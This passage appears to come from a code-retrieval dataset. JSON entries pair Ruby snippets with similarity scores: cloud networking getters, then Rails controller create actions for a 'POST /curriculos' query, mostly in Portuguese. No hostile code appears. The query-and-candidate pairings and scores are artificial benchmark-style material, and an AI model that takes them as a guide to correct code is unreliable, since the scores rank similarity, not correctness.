get_id\n @route_id\n end", "title": "" }, { "docid": "124da4bb231a299d70c139e118ac7c62", "score": "0.5219233", "text": "def default_name\n np = \"#{name_prefix}#{name.split(/:/).last}\"\n seq_no = find(:all).collect{|cf| cf.name.gsub(/^#{np}/, '').to_i }.max.to_i + 1\n \n \"#{np}#{seq_no.to_s.rjust(3, '0')}\"\n end", "title": "" }, { "docid": "076b4fbb3c371275a0ce1fb19af5b749", "score": "0.5210246", "text": "def subnet_group\n @cluster.cluster_subnet_group_name\n end", "title": "" }, { "docid": "9766fe37033b0a5f9a710b01e57fc42e", "score": "0.52101004", "text": "def id\n create_standard_ip_object if @database_object.nil?\n @database_object.session_id\n end", "title": "" }, { "docid": "dc70e3df7c1a3c1c73bc28310f6dbb2b", "score": "0.51888657", "text": "def primary_router\n return self['primaryRouter']['hostname']\n end", "title": "" }, { "docid": "7f815097e6a62b6341dc41a2268895c5", "score": "0.5188133", "text": "def default_availability_zone\n cloud.default_availability_zone\n end", "title": "" }, { "docid": "efe588ff6014db954a531fe7c32b06f8", "score": "0.5183981", "text": "def next_network_id\n # Get the list of numbers\n net_nums = []\n @env[:machine].provider.driver.read_virtual_networks.each do |net|\n net_nums << $1.to_i if net['Network ID'] =~ /^vagrant-vnet(\\d+)$/\n end\n\n if net_nums.empty?\n 'vagrant-vnet0'\n else\n free_names = Array(0..net_nums.max.next) - net_nums\n \"vagrant-vnet#{free_names.first}\"\n end\n end", "title": "" }, { "docid": "57178a8dcdea442c978286afbcd0e4af", "score": "0.51838964", "text": "def network_id_for(backing_info)\n if backing_info.is_a?(RbVmomi::VIM::VirtualEthernetCardDistributedVirtualPortBackingInfo)\n backing_info.port.portgroupKey\n else\n backing_info.deviceName\n end\n end", "title": "" }, { "docid": "f150940e52c578a79f528bf990be7f8b", "score": "0.5183114", "text": "def next_default_name\n last_default = config.servers.map(&:name).select{ |n| n =~ /kontena\\-master(?:\\-\\d+)?$/ }.sort.last\n return \"kontena-master\" unless last_default\n unless last_default =~ /\\d$/\n last_default << \"-1\"\n end\n last_default.succ\n end", "title": "" }, { "docid": "9862c9e04fe1ce8fa874c960b57efcc3", "score": "0.5180699", "text": "def enterprise_cloud_print_mopria_discovery_resource_identifier\n return @enterprise_cloud_print_mopria_discovery_resource_identifier\n end", "title": "" }, { "docid": "886bd2660803ec81b29135367d3d4477", "score": "0.5174139", "text": "def primary_ip\n options[:primary_ip]\n end", "title": "" }, { "docid": "3f6afb342eb620813bcda132c53bbdb6", "score": "0.51437616", "text": "def canonical_hosted_zone_name_id\n @elb.canonical_hosted_zone_name_id\n end", "title": "" }, { "docid": "3adffda69ddcf3d74031ea9637b511eb", "score": "0.5136056", "text": "def id\n \"#{ip}:#{port}\"\n end", "title": "" }, { "docid": "649a244f08440ae821021358e06ae28a", "score": "0.5124924", "text": "def default_zone\n BASE_URL + @options[:gce_project] + '/global/zones/' + DEFAULT_ZONE_NAME\n end", "title": "" }, { "docid": "cad8533607eafedee1ba266e0f6bc54d", "score": "0.5119244", "text": "def get_virtual_network_from_id(subnet_id)\n subnet_id.split('/')[8]\nend", "title": "" }, { "docid": "cad8533607eafedee1ba266e0f6bc54d", "score": "0.5119244", "text": "def get_virtual_network_from_id(subnet_id)\n subnet_id.split('/')[8]\nend", "title": "" }, { "docid": "55d449fed9557daab46bbae529ec3330", "score": "0.5112607", "text": "def primary_host\n hostnames.first\n end", "title": "" }, { "docid": "a603d3fc7fe983b4fd7023ec76edfd73", "score": "0.5111728", "text": "def get_default_currency_id\n self.le_currency_id ? self.le_currency_id : AppParameter.get_default_currency_id()\n end", "title": "" }, { "docid": "8f7f20451f5bf0f0375cd60b168e735a", "score": "0.5102873", "text": "def canonicalIP\n mu_name, config, deploydata = describe(cloud_id: @cloud_id)\n\n if !cloud_desc\n raise MuError, \"Couldn't retrieve cloud descriptor for server #{self}\"\n end\n\n private_ips = []\n public_ips = []\n\n cloud_desc.network_interfaces.each { |iface|\n private_ips << iface.network_ip\n if iface.access_configs\n iface.access_configs.each { |acfg|\n public_ips << acfg.nat_ip if acfg.nat_ip\n }\n end\n }\n\n # Our deploydata gets corrupted often with server pools, this will cause us to use the wrong IP to identify a node\n # which will cause us to create certificates, DNS records and other artifacts with incorrect information which will cause our deploy to fail.\n # The cloud_id is always correct so lets use 'cloud_desc' to get the correct IPs\n if MU::Cloud::Google::VPC.haveRouteToInstance?(cloud_desc, credentials: @config['credentials']) or public_ips.size == 0\n @config['canonical_ip'] = private_ips.first\n return private_ips.first\n else\n @config['canonical_ip'] = public_ips.first\n return public_ips.first\n end\n end", "title": "" }, { "docid": "f238c145569c8fe6ce601af99e61f8cd", "score": "0.50976247", "text": "def default_locality\n find_locality default_locality_name\n end", "title": "" }, { "docid": "69b3a09196f5c30aa494fdf416690a47", "score": "0.50963706", "text": "def default_cloud_version\n return ENV[\"CROWBAR_CLOUD_VERSION\"] if ENV[\"CROWBAR_CLOUD_VERSION\"].present?\n\n os_release = Crowbar::Client::Util::OsRelease.fields\n case os_release[\"VERSION_ID\"]\n when \"12.1\"\n \"6\"\n when \"12.2\"\n \"7\"\n when \"12.3\"\n \"8\"\n else\n \"9\"\n end\n end", "title": "" }, { "docid": "cf80f6859d9b7f3517062e82accd5c17", "score": "0.50894225", "text": "def default_image\n @default_image_id ||= (@config.default_image_id || select_default_image)\n end", "title": "" }, { "docid": "e37688e824da5dd4c07340789e29c021", "score": "0.50866616", "text": "def route_id\n @route_id ||= page.search('div#headingBar h1').first.text.sub('Route ', '')\n end", "title": "" }, { "docid": "40114c860135c611285b4028b2392ea7", "score": "0.5076304", "text": "def canonical_hosted_zone_id\n @alb.canonical_hosted_zone_id\n end", "title": "" }, { "docid": "6752812195b2eb16e8b71c81e35d1b21", "score": "0.5074972", "text": "def ret_default_peer_host\n net_http_get('http://169.254.169.254/latest/meta-data/local-ipv4')\n end", "title": "" }, { "docid": "b31f11c5b06ec316be1785621b8d0495", "score": "0.50658756", "text": "def default_cluster(service)\n service_cluster = data[\"service_cluster\"]\n service_cluster[service] || service_cluster[\"default\"]\n end", "title": "" }, { "docid": "242b4b977763d1c26fe5b42025d456fe", "score": "0.50635546", "text": "def guess_virtualbox_ip\n node['network']['interfaces']['eth1']['routes'][0]['src'] rescue nil\n end", "title": "" }, { "docid": "cc16ad043bccf1ac33f8cc79986c7099", "score": "0.5058259", "text": "def default_instance_profile_arn\n data[:default_instance_profile_arn]\n end", "title": "" } ]
2cf655342b214b5f13f8c1bed786e049
POST /curriculos POST /curriculos.json
[ { "docid": "876cdc20ac449c4b1750a20b746be5c7", "score": "0.651517", "text": "def create\n\t\thash = Hash.new\n\t\tarray = Array.new\n\t\tcurriculo_params[:disciplinas_attributes].each do |k,v|\n\t\t\tcurr = Curriculo.new\n\t\t\tcurr[:codigo] = curriculo_params[:codigo]\n\t\t\tcurr[:curso_id] = curriculo_params[:curso_id]\n\t\t\tcurr[:disciplina_id] = v[:id]\n\t\t\tarray << curr\n\t\tend\n\t\tsaved = true\n\t\tarray.each { |x| puts \"#{x[:codigo]} - #{x[:curso_id]} - #{x[:disciplina_id]}\" }\n\t\tarray.each { |x| saved &= x.save }\n\n\t\trespond_to do |format|\n\t\t\tif saved\n\t\t\t\tformat.html { redirect_to curriculos_path, notice: 'Curriculo was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @curriculo }\n\t\t\tend\n\t\tend\n\tend", "title": "" } ]
[ { "docid": "2d595cb6579e97b10f682358f56d2a36", "score": "0.6334292", "text": "def create\n @unidad_curricular = UnidadCurricular.new(unidad_curricular_params)\n\n respond_to do |format|\n if @unidad_curricular.save\n format.html { redirect_to unidades_curriculares_path, notice: 'Unidad curricular almacenada con exito' }\n format.json { render :index, status: :created, location: @unidad_curricular }\n else\n format.html { render :new }\n format.json { render json: @unidad_curricular.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92640ad721c54f368ee7fdb323d72eda", "score": "0.63255584", "text": "def create\n @curriculo = Curriculo.new(params[:curriculo])\n\n respond_to do |format|\n if @curriculo.save\n format.html { redirect_to @curriculo, notice: 'Curriculo was successfully created.' }\n format.json { render json: @curriculo, status: :created, location: @curriculo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curriculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57af65c273ada983530e520b488a299f", "score": "0.63229245", "text": "def create\n # @curriculum = Curriculum.new\n address = CandidateAddress.create(params_address)\n personal = CandidatePersonal.create(params_personal)\n @curriculum = Curriculum.new(params_curriculum)\n @curriculum.candidate_personal = personal\n @curriculum.candidate_address = address\n if params[:curriculum][:jobs]\n ind = 0\n params[:curriculum][:jobs].size.times do\n @new_job = Job.create(start: params[:curriculum][:jobs][ind][:start], end:\n params[:curriculum][:jobs][ind][:end], name: params[:curriculum][:jobs][ind][:name])\n @curriculum.jobs.push(@new_job)\n ind += 1\n end\n end\n token = info_current_user\n @curriculum.user_id = token[0]['user_id']\n\n if @curriculum.save\n render json: { header: @curriculum, pastJobs: @curriculum.jobs, address: @curriculum.candidate_address, personal: @curriculum.candidate_personal }\n else\n render json: { message: @curriculum.errors.full_messages }\n end\n end", "title": "" }, { "docid": "1d36c2f3555ea6210cd9b6c14cb5bd83", "score": "0.6257824", "text": "def create\n @curricula = Curricula.new(curricula_params)\n\n respond_to do |format|\n if @curricula.save\n format.html { redirect_to @curricula, notice: 'Curricula was successfully created.' }\n format.json { render :show, status: :created, location: @curricula }\n else\n format.html { render :new }\n format.json { render json: @curricula.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43b964f3c623244b10f8390220842d5a", "score": "0.624895", "text": "def new\n @curso = Curso.new\n @cursos = obtain_cursos \"Grado\"\n @secciones = obtain_seccion \"Primer\", \"Grado\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curso }\n end\n end", "title": "" }, { "docid": "8c901ba560fe5a3d394a3fee2d4f5596", "score": "0.6231016", "text": "def create\n @curriculo = Curriculo.new(curriculo_params)\n\n respond_to do |format|\n if @curriculo.save\n format.html { redirect_to @curriculo, notice: 'Curriculo was successfully created.' }\n format.json { render :show, status: :created, location: @curriculo }\n else\n format.html { render :new }\n format.json { render json: @curriculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f010c455149efc822e42ddfaca08c86", "score": "0.6208497", "text": "def new\n @curriculo = Curriculo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curriculo }\n end\n end", "title": "" }, { "docid": "c089ceea5b25f4c96fc99713a0e372af", "score": "0.61958855", "text": "def create\n @curso_responsavel = CursoResponsavel.new(curso_responsavel_params)\n\n respond_to do |format|\n if @curso_responsavel.save\n format.html { redirect_to @curso_responsavel, notice: 'Curso responsavel was successfully created.' }\n format.json { render :show, status: :created, location: @curso_responsavel }\n else\n format.html { render :new }\n format.json { render json: @curso_responsavel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2cdc044088e71f29a3fcc86c048eb139", "score": "0.6195283", "text": "def create\n @curso = Curso.new(params[:curso])\n respond_to do |format|\n if @curso.save\n format.html { redirect_to @curso, notice: 'El curso fue creado con exito.' }\n CustomLogger.info(\"Nuevo curso: #{@curso.curso.inspect} ,Nivel: #{@curso.nivel.inspect} ,Enfasis: #{@curso.enfasis.inspect} ,Turno:#{@curso.turno.inspect} creado por el usuario: #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @curso, status: :created, location: @curso }\n else\n @cursos = obtain_cursos @curso.tipo\n @secciones = obtain_seccion @curso.curso, @curso.tipo\n format.html { render action: \"new\" }\n CustomLogger.error(\"Error al crear un nuevo curso: #{@curso.curso.inspect} ,Nivel: #{@curso.nivel.inspect} ,Enfasis: #{@curso.enfasis.inspect} ,Turno:#{@curso.turno.inspect} por el usuario: #{current_user.full_name.inspect}, #{Time.now} \")\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5a6e4c5431623ee1ea4da03169c3e30", "score": "0.6180913", "text": "def index\n @curriculos = Curriculo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @curriculos }\n end\n end", "title": "" }, { "docid": "e2c48c8c0f8ad51b8f4c6ee14a1ab5a3", "score": "0.6154001", "text": "def new\n @convenio = Convenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @convenio }\n end\n end", "title": "" }, { "docid": "3c8e3507c6f375605ca0110e0b1f9e9c", "score": "0.6142542", "text": "def new\n @compra = Compra.new(:fecha => Date.today)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @compra }\n end\n end", "title": "" }, { "docid": "0f0e09812d3cff6bd97817492b155a4d", "score": "0.6138125", "text": "def create\n @params_action = \"create\"\n @curriculum = Curriculum.new(curriculum_params)\n\n # 과정 생성시 추가로 등록 할 사항\n @curriculum.project_id = current_project.id\n @curriculum.progress_type_ids = '1,2,3,4,5,6,7,8,9,10'\n @curriculum.save\n\n # 과정코드 등록\n c_code = create_curriculum_id(Curriculum.all.last.id.to_i)\n @curriculum.c_code = c_code\n\n total_chapter = params[:curriculum][:total].to_i\n current_id = Curriculum.all.last.id\n\n if total_chapter > 0\n # 공정률 데이터 베이스 생성\n 1.upto(total_chapter) do |i|\n # 기본 10개 Progress_type에서 가져옴\n 1.upto(10) do |k|\n progress = Progress.new\n progress.lesson = i\n progress.curriculum_id = current_id\n progress.progress_type_id = k\n progress.process = 0\n # default = 0\n progress.status = 4\n progress.save\n end\n end\n\n #최종산출물 페이지 적용\n 1.upto(total_chapter) do |i|\n product = Product.new\n product.lesson = i\n product.curriculum_id = current_id\n product.content_use = 0\n product.save\n end\n end\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to curriculums_path(current_project), notice: '과정이 등록되었습니다.' }\n format.json { render action: 'show', status: :created, location: @curriculum }\n else\n format.html { render action: 'new' }\n format.json { render json: @curriculum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a46ce85ceacc5503013993651513a864", "score": "0.6129318", "text": "def create\n currency_to_number params[:os][:desconto]\n currency_to_number params[:os][:pagamentos_attributes][\"0\"][:valor]\n\n params[:os][:pagamentos_attributes][\"0\"][:cliente_id] = params[:os][:cliente_id]\n\n @os = Os.new(params[:os])\n\n respond_to do |format|\n if @os.save\n format.html { redirect_to @os, notice: 'Ordem de Serviço criada com sucesso.' }\n format.json { render json: @os, status: :created, location: @os }\n else\n format.html { render action: \"new\" }\n format.json { render json: @os.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2209a753fd5123e91e3035d7833e86a2", "score": "0.612717", "text": "def create\n @produtos = get_produtos\n \n @compra = Compra.new(compra_params)\n @compra.data = Date.today\n @compra.hora = Time.now.strftime(\"%H:%M:%S\")\n @compra.valor_total = params[:compra][:valor_total].to_f\n @compra.status = \"Solicitado\"\n\n respond_to do |format|\n if @compra.save\n @produtos.each do |produto|\n ItensCompra.create(compra_id: @compra.id, produto_id: produto[:produto][:id], valor: produto[:produto][:preco],quantidade: produto[:qtde])\n end\n format.html { redirect_to @compra, notice: 'Compra efetuada com sucesso.' }\n format.json { render :show, status: :created, location: @compra }\n else\n format.html { render :new }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b9cbd2d6bd7aa3c8619f45e73d76e57", "score": "0.6115887", "text": "def create\n @recurso = Recurso.new(recurso_params)\n\n respond_to do |format|\n if @recurso.save\n format.html { redirect_to @recurso, notice: 'Recurso was successfully created.' }\n format.json { render :show, status: :created, location: @recurso }\n else\n format.html { render :new }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "176195f5d31ff1474a80b09d803c6104", "score": "0.6106277", "text": "def create\r\n @curso = Curso.new(curso_params)\r\n\r\n respond_to do |format|\r\n if @curso.save\r\n format.html { redirect_to cursos_path, notice: 'Curso criado com sucesso.' }\r\n format.json { render cursos_path, status: :created, location: cursos_path }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @curso.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "445123f428963f7fff880f6e0e4e41aa", "score": "0.60917", "text": "def create\n @curso = Curso.new(params[:curso])\n\n respond_to do |format|\n if @curso.save\n format.html { redirect_to @curso, notice: 'Curso grabado' }\n format.json { render json: @curso, status: :created, location: @curso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc687c8980592649cecc33eac9bda2df", "score": "0.60785174", "text": "def create\n @produtos = get_produtos\n @compra = Compra.new(compra_params)\n\n if session[:papel_id] == \"Administrador\"\n cliente = Cliente.find_by(usuario_id: params[:compra][:cliente_id])\n @compra.cliente_id = cliente.id\n end\n\n @compra.data = Date.today\n @compra.hora = Time.now.strftime(\"%H:%M:%S\")\n @compra.valor_total = params[:compra][:valor_total].to_f\n @compra.status = \"Solicitado\"\n\n respond_to do |format|\n if @compra.save\n @produtos.each do |produto|\n ProdutosCompra.create(compra_id: @compra.id, produto_id: produto[:produto][:id], quantidade: produto[:quantidade])\n end\n format.html { redirect_to @compra, notice: 'Compra efetuada com sucesso.' }\n format.json { render :show, status: :created, location: @compra }\n else\n format.html { render :new }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33d2b51a90f1634c92012fb0827706ac", "score": "0.60735506", "text": "def create\n @loja_concorrencium = LojaConcorrencium.new(params[:loja_concorrencium])\n\n respond_to do |format|\n if @loja_concorrencium.save\n format.html { redirect_to @loja_concorrencium, notice: 'Loja concorrencium was successfully created.' }\n format.json { render json: @loja_concorrencium, status: :created, location: @loja_concorrencium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loja_concorrencium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b133643ceef1d153446534a482a01db8", "score": "0.6069898", "text": "def create\n @estado_curriculo = EstadoCurriculo.new(estado_do_curriculo_params)\n\n respond_to do |format|\n if @estado_curriculo.save\n format.html { redirect_to @estado_curriculo, notice: 'Estado do curriculo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @estado_curriculo }\n else\n format.html { render action: 'new' }\n format.json { render json: @estado_curriculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f22dd473f434187333a7095d9bd933a1", "score": "0.60642076", "text": "def create\n @parceiros = Parceiro.all \n @novidades = Novidade.order('created_at').last(6) \n \n @contato = Contato.new(params[:contato])\n\n respond_to do |format|\n if @contato.save\n format.html { redirect_to @contato, notice: 'Contato enviado com sucesso' }\n format.json { render json: @contato, status: :created, location: @contato }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contato.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc91c540a0cb95d73781f824fc9b400b", "score": "0.60584", "text": "def create\n @curso = Curso.find(sala_params[:curso_id])\n @curso.estudantes = Estudante.where(id: sala_params[:estudante_ids])\n\n respond_to do |format|\n if @curso\n format.html { redirect_to salas_path, notice: 'Sala was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sala }\n else\n format.html { render action: 'new' }\n format.json { render json: @sala.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e45504bcbab2e2eb0a8e6b8acddab71", "score": "0.60571545", "text": "def create\n @parceiros = Parceiro.all\n @novidades = Novidade.order('created_at').last(6) \n \n @recado = Recado.new(params[:recado].merge(:usuario_id => current_usuario.id))\n\n respond_to do |format|\n if @recado.save\n format.html { redirect_to @recado, notice: 'Recado cadastrado com sucesso' }\n format.json { render json: @recado, status: :created, location: @recado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recado.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "293560d25dd736d2f814449098a5f7e1", "score": "0.6053449", "text": "def new\n @servico = Servico.new\n @categorias = Category.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @servico }\n end\n end", "title": "" }, { "docid": "88812681720e9ca2fa7ab59f87534086", "score": "0.6047581", "text": "def create\n \t@company = Empresa.new(empresa_params)\n \tif params[:rubros]\n \t\[email protected] << params[:rubros]\n \tend\n \tif @company.save\n \t\trender :json => @company, status: :ok\n \telse\n \t\trender :json => {:errors => @company.errors}, status: :unprocessable_entity\n \tend\n\tend", "title": "" }, { "docid": "43354ccaf25ccf9dd2fd37dead1a5b9f", "score": "0.60379714", "text": "def create\n @curriculum = Curriculum.new(curriculum_params)\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to @curriculum, notice: 'Currículo cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @curriculum }\n else\n format.html { render :new }\n format.json { render json: @curriculum.errors, status: :unprocessable_entity }\n end\n end\n authorize! current_user, @curriculum\n end", "title": "" }, { "docid": "fe46f0f384965e0660d3d795767c4964", "score": "0.6037583", "text": "def create\n @curso = Curso.new(curso_params)\n\n respond_to do |format|\n if @curso.save\n format.html { redirect_to @curso, notice: 'Curso fue creado con exito.' }\n format.json { render :show, status: :created, location: @curso }\n else\n format.html { render :new }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51a9dd9d8006c48e9862d2f402dbb871", "score": "0.6018831", "text": "def create\n @detalle_curso = DetalleCurso.new(detalle_curso_params)\n\n respond_to do |format|\n if @detalle_curso.save\n format.html { redirect_to @detalle_curso, notice: 'Detalle curso was successfully created.' }\n format.json { render :show, status: :created, location: @detalle_curso }\n else\n format.html { render :new }\n format.json { render json: @detalle_curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff80481fb54ae80fc3f32c41e1e57cd0", "score": "0.5993938", "text": "def create\n @convenio = Convenio.new(params[:convenio])\n \n respond_to do |format|\n if @convenio.save\n format.html { redirect_to @convenio, notice: 'Convenio was successfully created.' }\n format.json { render json: @convenio, status: :created, location: @convenio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @convenio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a32e96c1f5dedfffe9130b6deaddee1", "score": "0.59891534", "text": "def new\n @ativo_circulante_operacional = AtivoCirculanteOperacional.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ativo_circulante_operacional }\n end\n end", "title": "" }, { "docid": "ab85aa41cfca7f91ca7c9164b462ac6c", "score": "0.5987417", "text": "def create\n curriculo_seed = params[:aluno].delete(:curriculo)\n curriculo = Curriculo.gerar(curriculo_seed)\n params[:aluno][:curriculo] = curriculo\n @aluno = Aluno.new(params[:aluno])\n @aluno.password = \"12345678\"\n @aluno.password_confirmation = \"12345678\"\n grupo_aluno = Grupo.where(internal_id: Grupo::ALUNO).first\n @aluno.grupo = grupo_aluno\n respond_to do |format|\n if @aluno.save\n format.html { redirect_success(\"Aluno adicionado com sucesso!\",:alunos, :index)}\n format.json { render json: @aluno, status: :created, location: @aluno }\n else\n puts \"--------- #{@aluno.errors.full_messages}\"\n format.html { render action: \"new\" }\n format.json { render json: @aluno.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "feed63f5a30e9cb5e826cfa9e9ac3b10", "score": "0.5968446", "text": "def new\n @centro_de_custo = CentroDeCusto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @centro_de_custo }\n end\n end", "title": "" }, { "docid": "fa6d74725e8a77b49873067225c8e11d", "score": "0.59630054", "text": "def create\n @condominios = Condominio.new(params[:condominio])\n\n respond_to do |format|\n if @condominios.save\n format.html { redirect_to @condominios, notice: 'Condominio was successfully created.' }\n format.json { render json: @condominios, status: :created, location: @condominios }\n else\n format.html { render action: \"new\" }\n format.json { render json: @condominios.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1013c347af62c6ae6778de6c63a0b074", "score": "0.59502405", "text": "def curricula_params\n params.require(:curricula).permit(:title, :created_at, :updated_at)\n end", "title": "" }, { "docid": "e013a665f4dfbd7e2b34f7600a9e243d", "score": "0.59456486", "text": "def create\n if (admin_signed_in?) # se o admin está logado, pode criar o responsavel\n @laboratorio = Laboratorio.new(laboratorio_params)\n get_responsavel #roda a função para pegar o responsavel adicionado\n if (@responsavel != \"sem_responsavel\") #se tem responsavel, adiciona ele na lista de membros\n @laboratorio.docentes << Docente.find(@laboratorio.responsavel_id)\n end\n @laboratorio.update_attribute(:numero_aceitos, 0) # inicia os contadores\n @laboratorio.update_attribute(:numero_rejeitados, 0) # inicia os contadores\n respond_to do |format|\n if @laboratorio.save\n format.html { redirect_to @laboratorio, notice: 'Laboratorio foi criado.' }\n format.json { render :show, status: :created, location: @laboratorio }\n else\n format.html { render :new }\n format.json { render json: @laboratorio.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to laboratorios_path, notice: 'Não tem permissão para criar laboratório.' }\n format.json { render :show, status: :ok, location: @laboratorio }\n end\n end\n\n end", "title": "" }, { "docid": "f6bd54783685b5c7c2370dab1f3f06b2", "score": "0.59444344", "text": "def new\n @parceiros = Parceiro.all \n @novidades = Novidade.order('created_at').last(6) \n \n @contato = Contato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contato }\n end\n end", "title": "" }, { "docid": "a532b058f7a4ecdfd2c76277cea4708e", "score": "0.59297526", "text": "def create\n @curicculum = Curicculum.new(params[:curicculum])\n\n respond_to do |format|\n if @curicculum.save\n format.html { redirect_to @curicculum, notice: 'Curicculum was successfully created.' }\n format.json { render json: @curicculum, status: :created, location: @curicculum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curicculum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "152e7856798c19c0be9d4d83c31cd1b7", "score": "0.5925795", "text": "def new\n @curso = Curso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curso }\n end\n end", "title": "" }, { "docid": "90daf3591e1cb31460e7cd304bacced0", "score": "0.5925602", "text": "def create\n @modulo = Modulo.new(modulo_params)\n @modulo.curso_id = @current_usuario.curso_atual_id\n respond_to do |format|\n if @modulo.save\n format.html { redirect_to @modulo.curso, notice: 'Módulo cadastrado com sucesso!' }\n format.json { render :show, status: :created, location: @modulo }\n else\n format.html { render :new, @current_usuario => current_usuario }\n format.json { render json: @modulo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11086f4c6e23a66202362959b9790478", "score": "0.5921272", "text": "def new\n @colaborador = Colaborador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colaborador }\n end\n end", "title": "" }, { "docid": "cc74a5c2594a469639efa3938f4647ff", "score": "0.59173024", "text": "def create\n @servicos = Servico.where(status: 1)\n @lista_preco = ListaPreco.new(lista_preco_params)\n @lista_preco.status = 1\n @lista_preco.entidade_id = current_user.entidade_id\n\n respond_to do |format|\n if @lista_preco.save\n format.html { redirect_to lista_precos_url, notice: 'Lista foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @lista_preco }\n else\n format.html { render :new }\n format.json { render json: @lista_preco.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7e007f1b30ae9af1c24a0492f4124db", "score": "0.5910145", "text": "def new_ingresos\n @factura = Factura.new\n @factura.concepto.build\n \n @nombreEmpresa = Empresa.find :all, :conditions => [\"id = ?\",current_usuario.empresa_id] \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @factura }\n end\n end", "title": "" }, { "docid": "4f4f787b31951e7770f6ddd8936f2b1c", "score": "0.5908009", "text": "def post_criar_usuario\r\n self.class.post(\"/usuario/novo\", :body => @dados_header)\r\n \t#json_criar_usuario.to_json) \r\n end", "title": "" }, { "docid": "ee1741754509c29f140b83224725c80d", "score": "0.59017104", "text": "def new\n @conversazione = Conversazione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversazione }\n end\n end", "title": "" }, { "docid": "0489f7456ee22a3431b0ab46eda40ae0", "score": "0.5895723", "text": "def create\n @curso = Curso.new\n @curso.universidad_id = getAdminId\n @curso.estado = ACTIVO\n @curso.areas_id = params['curso']['areas_id']\n @curso.nombre = params['curso']['nombre']\n @curso.descripcion = params['curso']['descripcion']\n @curso.imagen = params['curso']['imagen']\n @curso.incluye = params['curso']['incluye']\n @curso.enfocado_a = params['curso']['enfocado_a']\n @curso.requisitos = params['curso']['requisitos']\n @curso.tiempo_estimado = params['curso']['tiempo_estimado']\n @curso.certificable = params['curso']['certificable']\n respond_to do |format|\n if @curso.save\n if params['curso']['certificable'] == '1'\n cursoHasProf = CursosHasProf.new\n cursoHasProf.cursos_id = @curso.id\n cursoHasProf.profesor_id = params['prof']\n cursoHasProf.save\n end\n\n format.html { redirect_to @curso, notice: 'El curso fue creado.' }\n format.json { render :show, status: :created, location: @curso }\n else\n stn = \"select usuarios.id, nombre, apellido, correo from usuarios \"\n stn += \"inner join data_usuarios on data_usuarios.usuarios_id=usuarios.id where \"\n stn += \"creado_por = #{getAdminId} and validado = #{VALIDADO} and estado = #{ACTIVO} and tipo = #{PROF} \"\n #@profs = ActiveRecord::Base.connection.execute(stn)\n @profesores = Usuario.find_by_sql([stn])\n @areas = Area.all();\n format.html { render :new }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac228130b9d5edf14801433a526e142c", "score": "0.5894901", "text": "def create\n @aluno = Aluno.new(aluno_params)\n @aluno.curso_id = session[:curso_id]\n respond_to do |format|\n if @aluno.save\n format.html { redirect_to alunos_path, notice: 'Aluno cadastrado com sucesso!' }\n format.json { render :show, status: :created, location: @aluno }\n 